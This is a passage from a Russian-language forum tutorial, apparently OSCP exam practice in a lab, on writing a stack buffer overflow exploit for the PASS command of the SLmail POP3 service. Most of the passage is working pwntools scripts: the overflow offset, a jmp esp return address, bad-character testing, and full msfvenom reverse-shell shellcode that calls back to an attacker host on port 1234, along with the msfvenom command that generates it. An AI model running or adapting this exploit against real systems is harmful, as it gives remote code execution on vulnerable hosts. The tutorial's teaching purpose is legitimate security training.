Нажимаем на кнопку "run" (иконка как "плей" на плеере), чтобы программа разморозилась и продолжила работу. Теперь мы возвращаемся в виртуалку кали и запускаем наш скрипт
https://forum.antichat.xyz/attachments/4887375/img_db28c99d6b.png
https://forum.antichat.xyz/attachments/4887375/img_ba25e2f80f.png
Бинго! Вот так вот мы "профаззили" команду PASS в одном из сервисов SLmail и убедились, что там есть переполнение буфера на стеке. Если мы проверим SLmail.exe скриптом Get-PESecurity, то увидим, что там нет абсолютно никакой защиты - ни NX, ни ASLR ни stack canary не используются, так что мы имеем идеальную цель для практики. Кстати, в рамках экзамена OSCP перечисленные защиты также не используются, там люди тоже имеют дело с таким вот ванильным переполнением буфера на стеке. Так вот, в этой ситуации мы будем строить наш пейлоад следующим образом:
1) Сначала у нас будет идти определенное количество мусорных байт (букв "А" например), чтобы забить буфер
2) После этого, мы кладем адрес гаджета jmp esp
3) Дальше оставляем небольшой nop sled и кладем наш шеллкод.
Теперь нам нужно посчитать оффсет - выяснить, сколько именно байт мы должны послать, чтобы вызвать переполнение. Есть множество разных способов это сделать, в этой ситуации я воспользуюсь утилитами pattern_create и pattern_offset из метасплоит фреймворка, так как они удобные, отлично работают, установлены по умолчанию в кали и разрешены на экзамене OSCP.
Для того, чтобы они посчитали нам оффсет, генерируем паттерн с помощью pattern_create
https://forum.antichat.xyz/attachments/4887375/img_d6c0363e2b.png
Теперь вставляем его вместо мусорных байт в наш скрипт. Пайтон подглючивает, когда ты в одну строчку пытаешься объявить слишком длинную строку, поэтому разбиваем паттерн на несколько кусочков.
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag 6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al 6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9 Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq 6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9 Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av 6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9 Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9 Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf 6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B h3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9 Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk 6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2B m3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9 Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp 6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2B r3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9 Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu 6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2B w3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9 By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3"
junk
+=
"Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb 0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6C c7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3 Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg 0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6C h7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3 Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl 0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6C m7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3 Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq 0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6C r7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3 Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv 0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6C w7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3 Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da 0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6D b7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3 Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df 0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6D g7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3 Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk 0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6D l7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3 Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp 0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6D q7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3 Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du 0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6D v7Dv8Dv9"
payload
=
junk
p
.
sendline
(
"USER "
+
name
)
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
p
.
recvline
(
)
p
.
interactive
(
)
Дважды перезапускаем SLmail (если перезапустить один раз - будет подглючивать), снова аттачим дебаггер и снова запускаем наш скрипт. Видим следующую картину:
https://forum.antichat.xyz/attachments/4887375/img_25b63d8100.png
https://forum.antichat.xyz/attachments/4887375/img_7c3e7d5eea.png
Нас интересует окошко с регистрами в дебаггере. Конкретно - регистр EIP. Копируем значение оттуда и скармливаем утилите pattern_offset
https://forum.antichat.xyz/attachments/4887375/img_1c6a7294a8.png
Вуаля, оффсет посчитан! Теперь, убедимся что мы контролируем регистр EIP. Давайте попробуем передать туда 4 буквы "B". Для этого чуть-чуть модифицируем наш скрипт
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"A"
*
2606
eip
=
"BBBB"
payload
=
junk
+
eip
p
.
sendline
(
"USER "
+
name
)
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
p
.
recvline
(
)
p
.
interactive
(
)
Теперь перезапускаем SLmail, снова цепляем отладчик и запускаем наш новый скрипт. Смотрим в отладчик
https://forum.antichat.xyz/attachments/4887375/img_60d4f64abc.png
https://forum.antichat.xyz/attachments/4887375/img_cd702cf1ef.png
Видим в регистре EIP значение 42424242. Мы успешно получили контроль над регистром EIP, первая часть пройдена. Теперь нам нужно выяснить, что же мы туда положим. Нам нужно найти в памяти программы адрес инструкции jmp esp, чтобы мы могли заставить EIP указывать на стек, и таким образом выполнить шеллкод оттуда. Искать адрес jmp esp вручную можно, но бессмысленно, если за нас это может сделать mona! Для начала посмотрим, в каких модулях mona может поискать для нас гаджеты. Делается это командой !mona modules
https://forum.antichat.xyz/attachments/4887375/img_79573bf97e.png
Нас интересуют модули, в которых нету ни Rebase, ни SafeSEH, ни ASLR, ни NXCompat. У меня тут целых три таких. Теперь начинаем искать уже конкретно по этим модулям по очереди командой !mona find -s '\xff\xe4' -m SLMFC.DLL
https://forum.antichat.xyz/attachments/4887375/img_29d5cc5984.png
Попробуем взять какой-то из этих адресов и прыгнуть на него. На случай, если все пройдет успешно, установим в месте приземления небольшой nop sled и halt инструкции (коды операций 0x90 и 0xcc соответственно). Теперь наш скрипт выглядит вот так:
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"A"
*
2606
eip
=
"\x8f\x35\x4a\x5f"
#5f4a358f
nop
=
"\x90"
*
32
shellcode
=
"\xcc"
*
8
payload
=
junk
+
eip
+
nop
+
shellcode
p
.
sendline
(
"USER "
+
name
)
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
p
.
recvline
(
)
p
.
interactive
(
)
Не забываем развернуть адрес который мы кладем в EIP, так как мы имеем дело с little-endian системой. Попробуем снова перезапустить все и запустить наш новый скрипт
https://forum.antichat.xyz/attachments/4887375/img_d2400ed40f.png
https://forum.antichat.xyz/attachments/4887375/img_9ea80ba83f.png
Мы видим, что наш шеллкод успешно отработал и остановился на наших halt. Мы уже получили примитив эксплоита - процессор на атакуемой машине уже выполняет те инструкции, которые мы ему даем. Теперь нам нужно получить что-то более интересное, чем выполнение инструкции "\xcc". Нам понадобится боевой шеллкод. Конечно, вы можете найти его где-то в интернете, или написать самостоятельно, но я воспользуюсь утилитой msfvenom. Вот команда, вам остается подставить туда свой айпи адрес
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.104 LPORT=1234 -a x86 -f py -b '\x00'
https://forum.antichat.xyz/attachments/4887375/img_1f9162c656.png
берем этот шеллкод и вставляем в свой скрипт вместо инструкций "\xcc". Также, открываем еще один терминал, и в нем запускаем неткат, слушающий все входящие подключения на 1234 порт, чтобы мы могли словить реверс шелл
https://forum.antichat.xyz/attachments/4887375/img_2c6f866b2c.png
Снова все перезапускаем и стартуем скрипт
https://forum.antichat.xyz/attachments/4887375/img_1190b54f82.png
https://forum.antichat.xyz/attachments/4887375/img_ebac2d522f.png
Шелл так и не прилетел, а программа крашнулась с ошибкой access violation. Я потратил довольно много времени, пытаясь понять, в чем может быть ошибка. В конечном счете, мне посоветовали проверить шеллкод на бедчары и это сработало. Этим и займемся.
Для того, чтобы проверить, какие символы будут плохими в нашем шеллкоде, нам нужно просто запихнуть все существующие байты от 0x00 до 0xff в стек и посмотреть, как он отреагирует. Чтобы не набирать этот список вручную - он легко гуглится по словам bad char list exploit. Нам нужно вставить этот список в наш скрипт. Получится что-то вроде этого (символ 0х00 я сразу отбросил):
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"A"
*
2606
eip
=
"\x8f\x35\x4a\x5f"
#5f4a358f
nop
=
"\x90"
*
32
buf
=
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x 0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18 \x19\x1a\x1b\x1c\x1d\x1e\x1f"
buf
+=
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x 2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38 \x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
buf
+=
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x 4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59 \x5a\x5b\x5c\x5d\x5e\x5f"
buf
+=
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x 6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78 \x79\x7a\x7b\x7c\x7d\x7e\x7f"
buf
+=
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x 8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98 \x99\x9a\x9b\x9c\x9d\x9e\x9f"
buf
+=
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\x ac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8 \xb9\xba\xbb\xbc\xbd\xbe\xbf"
buf
+=
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\x cc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8 \xd9\xda\xdb\xdc\xdd\xde\xdf"
buf
+=
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\x ec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8 \xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload
=
junk
+
eip
+
nop
+
buf
p
.
sendline
(
"USER "
+
name
)
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
p
.
recvline
(
)
p
.
interactive
(
)
Снова все перезапускаем и пробуем наш скрипт
https://forum.antichat.xyz/attachments/4887375/img_88ce7050df.png
https://forum.antichat.xyz/attachments/4887375/img_2a73b0b8be.png
Теперь нас интересует правое нижнее окно в дебаггере, которое показывает нам стек. Смотрим, какие символы у нас хорошо легли на стек, а какие не очень. Видим что с 0x01 по 0x09 все нормально, а дальше какая-то билиберда. Значит 0x0a - бедчар. Записываем это себе куда-то, убираем 0x0a из нашего буфера в скрипте, и снова все перезапускаем, ничего не меняя кроме того, что мы убрали 0x0a. Снова смотрим на стек
https://forum.antichat.xyz/attachments/4887375/img_4a24b3bcc6.png
В этот раз картина уже получше, почти все скопировалось в стек. Непонятно только, куда делся байт 0x0d, так что и его тоже запишем в бедчары. Все остальные символы, вроде, на месте
Теперь, когда мы знаем, что бедчар не только 0х00, а еще и 0х0а и 0x0d, мы можем заново сгенерить наш шеллкод в msfvenom и вставить его в наш скрипт
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.104 LPORT=1234 -a x86 -f py -b '\x00\x0a\x0d'
Python:
from
pwn
import
*
p
=
remote
(
"192.168.0.105"
,
110
)
name
=
"username"
junk
=
"A"
*
2606
eip
=
"\x8f\x35\x4a\x5f"
#5f4a358f
nop
=
"\x90"
*
32
buf
=
""
buf
+=
"\xda\xcc\xbb\x1c\xe8\xc9\xf1\xd9\x74\x24\xf4\x5a\x 31"
buf
+=
"\xc9\xb1\x52\x83\xc2\x04\x31\x5a\x13\x03\x46\xfb\x 2b"
buf
+=
"\x04\x8a\x13\x29\xe7\x72\xe4\x4e\x61\x97\xd5\x4e\x 15"
buf
+=
"\xdc\x46\x7f\x5d\xb0\x6a\xf4\x33\x20\xf8\x78\x9c\x 47"
buf
+=
"\x49\x36\xfa\x66\x4a\x6b\x3e\xe9\xc8\x76\x13\xc9\x f1"
buf
+=
"\xb8\x66\x08\x35\xa4\x8b\x58\xee\xa2\x3e\x4c\x9b\x ff"
buf
+=
"\x82\xe7\xd7\xee\x82\x14\xaf\x11\xa2\x8b\xbb\x4b\x 64"
buf
+=
"\x2a\x6f\xe0\x2d\x34\x6c\xcd\xe4\xcf\x46\xb9\xf6\x 19"
buf
+=
"\x97\x42\x54\x64\x17\xb1\xa4\xa1\x90\x2a\xd3\xdb\x e2"
buf
+=
"\xd7\xe4\x18\x98\x03\x60\xba\x3a\xc7\xd2\x66\xba\x 04"
buf
+=
"\x84\xed\xb0\xe1\xc2\xa9\xd4\xf4\x07\xc2\xe1\x7d\x a6"
buf
+=
"\x04\x60\xc5\x8d\x80\x28\x9d\xac\x91\x94\x70\xd0\x c1"
buf
+=
"\x76\x2c\x74\x8a\x9b\x39\x05\xd1\xf3\x8e\x24\xe9\x 03"
buf
+=
"\x99\x3f\x9a\x31\x06\x94\x34\x7a\xcf\x32\xc3\x7d\x fa"
buf
+=
"\x83\x5b\x80\x05\xf4\x72\x47\x51\xa4\xec\x6e\xda\x 2f"
buf
+=
"\xec\x8f\x0f\xff\xbc\x3f\xe0\x40\x6c\x80\x50\x29\x 66"
buf
+=
"\x0f\x8e\x49\x89\xc5\xa7\xe0\x70\x8e\x07\x5c\x7a\x 26"
buf
+=
"\xe0\x9f\x7a\xb2\x22\x16\x9c\xd0\xd2\x7f\x37\x4d\x 4a"
buf
+=
"\xda\xc3\xec\x93\xf0\xae\x2f\x1f\xf7\x4f\xe1\xe8\x 72"
buf
+=
"\x43\x96\x18\xc9\x39\x31\x26\xe7\x55\xdd\xb5\x6c\x a5"
buf
+=
"\xa8\xa5\x3a\xf2\xfd\x18\x33\x96\x13\x02\xed\x84\x e9"
buf
+=
"\xd2\xd6\x0c\x36\x27\xd8\x8d\xbb\x13\xfe\x9d\x05\x 9b"
buf
+=
"\xba\xc9\xd9\xca\x14\xa7\x9f\xa4\xd6\x11\x76\x1a\x b1"
buf
+=
"\xf5\x0f\x50\x02\x83\x0f\xbd\xf4\x6b\xa1\x68\x41\x 94"
buf
+=
"\x0e\xfd\x45\xed\x72\x9d\xaa\x24\x37\xad\xe0\x64\x 1e"
buf
+=
"\x26\xad\xfd\x22\x2b\x4e\x28\x60\x52\xcd\xd8\x19\x a1"
buf
+=
"\xcd\xa9\x1c\xed\x49\x42\x6d\x7e\x3c\x64\xc2\x7f\x 15"
payload
=
junk
+
eip
+
nop
+
buf
p
.
sendline
(
"USER "
+
name
)
p
.
recvline
(
)
p
.
send
(
"PASS "
+
payload
)
p
.
recvline
(
)
p
.
interactive
(
)
Запускаем скрипт с новым шеллкодом
https://forum.antichat.xyz/attachments/4887375/img_eb43ed493a.png
https://forum.antichat.xyz/attachments/4887375/img_5f9ff2e3dd.png
В отладчике мы видим, что хоть мы и переполнили буфер - приложение не упало! Давайте посмотрим на вкладку с неткатом
https://forum.antichat.xyz/attachments/4887375/img_a698a28074.png
Вуаля, к нам прилетел реверс шелл! Старания, потраченные на написание эксплоита не пропали даром
Теперь попробуем повторить без отладчика.
https://forum.antichat.xyz/attachments/4887375/img_9045439a4c.png
https://forum.antichat.xyz/attachments/4887375/img_ef528b75c5.png
Результат тот же - мы получаем реверс шелл, причем с теми же правами, с которыми был запущен SLmail. Теперь можно попробовать порыться в компьютере и что-то сделать. Например, прочитать флаг с рабочего стола
https://forum.antichat.xyz/attachments/4887375/img_dca43e36ab.png
Вот, собственно, и все! Эксплоит написан, реверс шелл получен, а пост эксплуатация уже выходит за рамки этой статьи и рассматриваться не будет. Надеюсь что вы получили удовольствие и узнали для себя что-то полезное из этой статьи
Если вы дочитали до этого места - обязательно подписывайтесь на канал античат t.me/webware и на мой канал t.me/binary_xor
У себя на канале я собираю из интернета (и даже иногда пишу сам!) всякие разные штуки по теме низкоуровневого программирования, реверс инжиниринга и бинарных эксплуатаций, думаю что тем кто это читал будет интересно
Всем спасибо за внимание! До скорых встреч!